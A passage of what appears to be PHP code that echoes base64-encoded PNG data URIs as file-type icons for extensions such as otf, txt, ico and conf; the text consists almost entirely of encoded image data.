tH9m3C+hkbwSYHHJj/5h48e6LecaUFlRRvzaF1tOwltWbFjm7mddUDVyO5PkgrwSwEzn7/Z14//UTBGE9HcWfyCIzu6xrFw/W+SNAGY6fxXlpUQ7f4ncvHo+7cyiO59+nbXrZ4O8EeDLruGcd/4Sqa4qR3PTccMy3QPjWFnbyFodSJM3ArR/atz543kOt66ez3o9bl8zzi9omo72NB1VmqAyEzg4OhO3XUs0GkP/sPHM3+pKH/qGXpbheODa5Td3NRk0GcGtEDp7XrbrqqZCEASoqprynLv3v0FNdWXcsYbjh3D4YJWlumQD6uYE6rqOX/7u71i1OKY+1VCL99/7vaUYABCTZPz8139DJCpZinPlUhP++udfWa4PnD4n8NHkE8s/PgB872ITgdoAhR4R51tOWo7T0TtG5TRy6gT44qt+yzE4jsPli2cI1OYZVy5ZjxWNSujqpe95AVUC6LqOBx2DluOcbKhFRXkpgRo9o/VcA4r2WH9lH4m/jTRUCTA2OU8kn36Z0O3/OR5RxIWWE5bjdHaPULfJFFUCfPFwwHIMnid7+3/OlUtnLceIRCV099G1xxBVo4Cp2UWEDGb5mMEjimisO2wpRjIURcXI+JzlOFUVXlRXlVsJQXQUQFUe4NgbNXZXISUFBULafQPyEaqaAEbuYQK4HCaAy2ECuBwmgMthArgcJoDLYQK4HCaAyyGaCQwsrxzZCYZIhmQkULm3SAStqWBZkktCW87ZSp1G9hWIRJcesybA5TABXA4TwOUwAVyO7fMBOI6DWFiY9Due46HpyRdbKrIMzWBu/quInkJwSdb3G8XXFBWKYm76lujxgNvtiiRdhxSL7e6cLGCrAAcO1+Jo4ynsKUr/Jo9EFFnGwtw0JkdST7QsLvWi8WwzSr3GO38nQ9d1+FeWMNLbBVlKviZgT9FetH3/Kgr3FO06PgBsBzfwaLAPm+v+jM4ngW1NAC8IqDt9NqMfHwAKRBG1xxtQXJp6KfjRhhMZ/fjAsztTZfUB1NQeSVmm7lRTxj8+8EzQY42nMz6fBLYJIAgCBMH6DUj0JG8+0n1nFo9BjNeKSyzHFz3Wp5tbwTYBZEnC4ylrL19aX11BYG0l5fezE2NQLEzDjkbCeDKTek1iJGwt66kqCmbHRy3FsIqtfYCp0SEszE6jpMwbd/zgG0fh21/94nMkHMLEUPyKoUg4hO2g8RoC/8oSHtz9GN7KSvDcS9dLvT7U1sXvIzDS2xUni6LI2PCvGQqauEB0ZzuI6dFhwzo9R9d1bPjXTHc0s4Xto4BoJIxoJBx3zFdVHfdZkWWsLi1mFF9VFfiX07/hy7+6DClqLcUux6SM62kXLA/gcpgALocJ4HKYAC7H9k6gk+A4DgWi8XuHX6DrUBQluxUyARPAAnzC/kNlvgq8dfsd0+cHA+sYH+pDcCOQvnCWYE2ABfbszSyN/ZzSch+OnXBpKtgJ8IL12VlWniWQgAlggUjIWipYU1XMTti7tSzrA1ggMRUc2t7CjMncvq7rCKytpHzUnCuYAASRYjEsL8zbXY1dwZoAl8MEcDlMAJfDBHA5TACXwwRwOUwAl0OlAOGd+FfDRELGr4rZdfyEeLIkQckgIZNYr3Ao/1ZGUynA0/nZF/MEVUXB/Mwk0fg7W0GsLT8F8CwjNzf5CFoGr3tbnJt5sbpHliXMTxu/1YRGiO4V/PDexz8J70T+TSIWx3HwVuzH1kYgazNnS7zlkGJRRMPh9IVTwPM8vBWV2Fj3m16qZoVSQdzX9qN3iO3CQTQVHNkJBUjdVJ7nyrPJFoHn8JqmYX01u/V8lfB6kKhlVDYBjNzBBHA5TACXwwRwOUwAl/N/t+PTOcoIUsUAAAAASUVORK5CYII="; } elseif ($ext == "otf") { echo "data:image/png;base64,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"; } elseif ($ext == "txt") { echo "data:image/png;base64,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"; } elseif ($ext == "ico") { echo "data:image/png;base64,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"; } elseif ($ext == "conf") { echo "data:image/png;base64,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